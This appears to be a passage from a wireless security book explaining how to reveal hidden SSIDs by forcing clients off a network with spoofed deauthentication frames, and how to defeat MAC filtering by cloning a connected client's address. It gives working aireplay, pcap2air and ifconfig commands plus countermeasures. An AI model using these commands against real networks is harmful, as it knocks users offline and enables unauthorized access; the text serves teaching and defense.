|
|
Many wireless networks today operate in cloaked or hidden mode. These networks don't include their SSID (network name) in beacon packets, and they don't respond to broadcast probe requests. People who set up their networks like this think of their SSID as a sort of secret. People who do this might also be prone to enabling MAC address filtering on the AP.
An SSID is not a secret. It is included in plaintext in many packets, not just beacons. In fact, the reason the SSID is so important is that you need to know it in order to send an association request to the AP. This means that every legitimate client is transmitting the SSID in the clear whenever it attempts to connect to a network.
Passive sniffers can easily take advantage of this. If you have ever seen Kismet or Kismac mysteriously fill in the name of a hidden network, it's because a legitimate client sent one of these frames. If you wait around long enough (and disable channel hopping), you will eventually catch someone joining the network and get their SSID. Of course, you can do more than just wait; you can force a user's hand.
|
Popularity: |
8 |
|
Simplicity: |
5 |
|
Impact: |
3 |
|
Risk Rating: |
5 |
The easiest way to get the name of a network you are interested in is to kick a legitimate user off the network. As mentioned previously, association request (and also re-association request) packets all carry the SSID in the clear. By kicking a user off the network, you can force them to transmit a re-association request and observe the SSID.
This is possible because management frames in 802.11 are unauthenticated. If management frames were authenticated, the user would be able to tell your deauthentication packet apart from the AP's. This means all you need to do is send a packet to the user that looks like it came from the AP. The user can't tell the difference, and the wireless driver will reconnect immediately. They will then transmit a re-association request with the SSID in it, and your scanner will let you know the name.
It's important to note that this attack is effective regardless of the type of security the AP is using. Even WPA2 can't help here because the management frames are still unencrypted and unauthenticated. The IEEE has created a working group to solve this issue, but for now it's still wide open.
To launch a deauthentication attack, you need to have drivers configured that allow you to inject raw packets. Chapter 4 covered which drivers allow this. Assuming that your driver is installed and working, there are a variety of tools that allow you to deauth clients. The most popular tool is aireplay.
The following example shows how to perform a simple deauth attack on Linux using aireplay (aireplay is a utility included with the aircrack software package). The victim station has MAC address 00:0A:95:F3:2F:AB, and it is currently associated with the network on channel 3, with BSSID 00:14:BF:3A:6C:EF.
[root@phoenix:/home/johnycsh/aircrack-2.4]$ ifconfig ath0 up [root@phoenix:/home/johnycsh/aircrack-2.4]$ iwconfig ath0 channel 3 [root@phoenix:/home/johnycsh/aircrack-2.4]$ iwconfig ath0 mode monitor [root@phoenix:/home/johnycsh/aircrack-2.4]$ ./aireplay -0 5 -c 00:0A:95:F3:2F:AB -a 00:14:BF:3A:6C:EF ath0 13:38:26 Sending DeAuth to station -- STMAC: [00:0A:95:F3:2F:AB] 13:38:27 Sending DeAuth to station -- STMAC: [00:0A:95:F3:2F:AB]
The command-line arguments can be a little confusing. The -0 in this example instructs aireplay to perform a deauthentication attack. The following 5 is the number of packets to send. The destination address is specified with -c and the BSSID with -a. aireplay implements a few other attacks, hence the need for the -0 to tell it which attack to perform.
If you don't feel like remembering all the aircrack flags, there is another tool called void11 that can perform the same attack. void11 also offers an optional GUI called gvoid11. void11 is an old tool, however, and finding a copy and coaxing it to compile can be time consuming. Also, it only works with versions of host-ap previous to 0.2.6.
Neither void11 nor aireplay uses LORCON to replay packets; they talk straight to the driver using a PF_PACKET socket. If you have a device that is well supported with LORCON, but doesn't seem to work well using aireplay, you can achieve the same results using pcap2air. pcap2air is a tool included in the airbase suite.
[root@phoenix:/home/johnycsh/airbase/tools/pcap2air]$ ./pcap2air -i ath0 -r madwifi -c 3 -d 00:0A:95:F3:2F:AB -s 00:14:BF:3A:6C:EF -n 5 -f ../../dist- pcaps/std-pcaps/disassoc.pcap pcap2air <johnycsh@gmail.com> wrote 28 bytes: [00:14:bf:3a:6c:ef]==>[00:0a:95:f3:2f:ab] (00:14:bf:3a:6c:ef)
When using pcap2air, you specify the interface with -i, the driver with -r, the channel with -c, the destination with -d, and the source with -s. You then tell it the number of packets with -n, and the file to inject is specified with -f.
Currently, the only way to inject packets on OS X is to use Kismac, and the only driver that Kismac can use for injection is prism2. Many people buy used USB-based D-link DWL-122's for this reason. Hopefully, more driver support will make its way into Kismac. Assuming you have a prism2 device and the correct drivers loaded in Kismac, all you need to do is click Network | Deauthenticate.
Chapter 4 mentioned three drivers that let you transmit arbitrary packets on Windows. Though the support is there to transmit raw packets, there just aren't any easy-to-use programs for wireless hacking. You could probably craft your own deauth packets with CommView for Wifi, but it's really easier to use a UNIX-based operating system. One day LORCON may have support for one of these drivers. If that were to happen, Windows users would suddenly have a lot more tools that could be compiled and run inside cygwin.
There's nothing that can be done to prevent this attack from working and still have clients follow the standard. One hack you could employ is simply to patch client wireless drivers, so they ignore deauthentication or disassociation packets. Doing so violates the IEEE 802.11 standard and is probably not very manageable on a large scale, however. It would require vendor support for some sort of feature (unlikely), or everyone in the organization would need to be using Linux with patched open-source drivers (even more unlikely).
It should be noted that for small, one AP setups, the AP will only deauth a client when there has been a large configuration change, and it needs to reboot. On large networks with roaming, APs will deauth clients to encourage them to reconnect to a different AP with a stronger signal. If the user is not roaming around, simply ignoring the packets would probably only cause minor glitches. Perhaps in the future, some drivers will prompt the user, asking them if they would like to ignore the deauth packet. At the very least, the operating system should inform the user that they were kicked off the network. Currently Windows XP simply reconnects without even one of its balloon messages popping up about the network connection being down. On OS X, the airport logo flashes at least once, though this hardly counts as user notification.
A wireless IDS is useful in this case. Though an IDS might not be able to stop the attacker from executing the attack, it can at least log the event and alert the administrator.
|
Popularity: |
4 |
|
Simplicity: |
6 |
|
Impact: |
3 |
|
Risk Rating: |
4 |
Most APs allow you to set up a list of trusted MAC addresses. Any packets sent from other MACs are then ignored. There was once a period of time where MAC addresses were very static things, burned into hardware chips and pretty much immutable. Those days are long gone, and such a policy on a wireless network makes very little sense.
In order to beat MAC filtering, you simply steal a MAC from someone else already on the network. To do this, you need to run a passive scanner so it can give you the address of an already connected client. The most elegant scenario is that you wait for a user to disconnect from the network gracefully. Other options include DoS'ing the user off or attempting to share the MAC address. Once you have chosen a MAC address to use, it takes only a few commands to clone it.
Most wireless (and for that matter wired) network interfaces allow you to change the MAC address dynamically. It's just a parameter you can pass to ifconfig. For example, to set your MAC address to 00:11:22:33:44:55 on Linux, do the following:
[root@phoenix:/home/johnycsh]$ ifconfig ath0 down [root@phoenix:/home/johnycsh]$ ifconfig ath0 hw ether 00:11:22:33:44:55 [root@phoenix:/home/johnycsh]$ ifconfig ath0 up
And voilà, instant MAC makeover.
Even Windows will let you change your MAC address, though not as easily as on Linux. On Windows, the MAC for a given interface is stored inside a registry key. Though a tool exists to automate this for Orinoco drivers (bwmachak by blackwave), there don't appear to be any free tools that work with more modern drivers.
To change the MAC for your wireless card in Windows, you will have to use regedit manually. Open regedit and navigate to HKLM\SYSTEM\CurrentControlSet\ Control\Class\{}. Once there, start looking through the entries for your wireless card. The key includes a description of your card, so it shouldn't be too difficult to find. Once you have found your card, create a new key named NetworkAddress of type REG_SZ. Insert your desired 12-digit MAC address. The following illustration shows the new key set to 00:14:a5:01:02:03.
| Tip |
When changing your address in Windows, be sure to check that your driver actually cares about that key by running ipconfig /all in a cmd window. |
Also, it's not a good idea to assign an address to your card at random. Some drivers might not like it if the first three bytes don't come from a pool of valid numbers from the IEEE. If you aren't trying to copy someone else's MAC address explicitly, the safest thing to do is just change the last three bytes. Finally, you might be able to get your card to recognize its new MAC simply by disabling and re-enabling it. Other times, a reboot will be required. If you want to revert to your original MAC, delete the NetworkAddress key.
OS X has had a very painful history when it comes to spoofing MAC addresses. Previous to 10.4, you couldn't even send raw packets without a kernel patch (RAW4ALL/ ETHERSPOOF). Even then, life wasn't as easy as it was on Linux; it just meant tools that crafted interesting packets (such as ARP spoofers) could work.
If you wanted something similar to Linux's ease of use, you needed another patch entirely, called ShadowMAC. ShadowMAC was a patch that allowed you to change your MAC address on the command line, similar to Linux. ShadowMAC was a real hack, however, and it never worked with Airport or Airport Extreme cards anyway.
With the release of 10.4, Apple made things much easier. All of the patches just mentioned became unnecessary. Unfortunately, you still couldn't change the MAC address of your Airport/Airport Extreme card.
To this day, changing your Airport's MAC address requires a modification to your airport driver, which I do not recommend. There is not even a script to make it easy and automated. For details, visit http://www.suspekt.org and read up on the static method. Be sure to back up your driver before attempting the static method.
If you are using MAC filtering, there is nothing you can do to stop people from bypassing it. The best thing is simply not to use it-or at least, don't think of it as a security control. If you are setting up a home network with very few clients, you might consider using MAC filtering as a gentle reminder to passersby not to use your network. MAC filtering is generally more hassle than it's worth though. If you have a wireless IDS and use MAC filtering, your IDS should be able to detect two people sharing a MAC at the same time. It won't be able to detect an attacker simply waiting for a user to disconnect, however.
|
|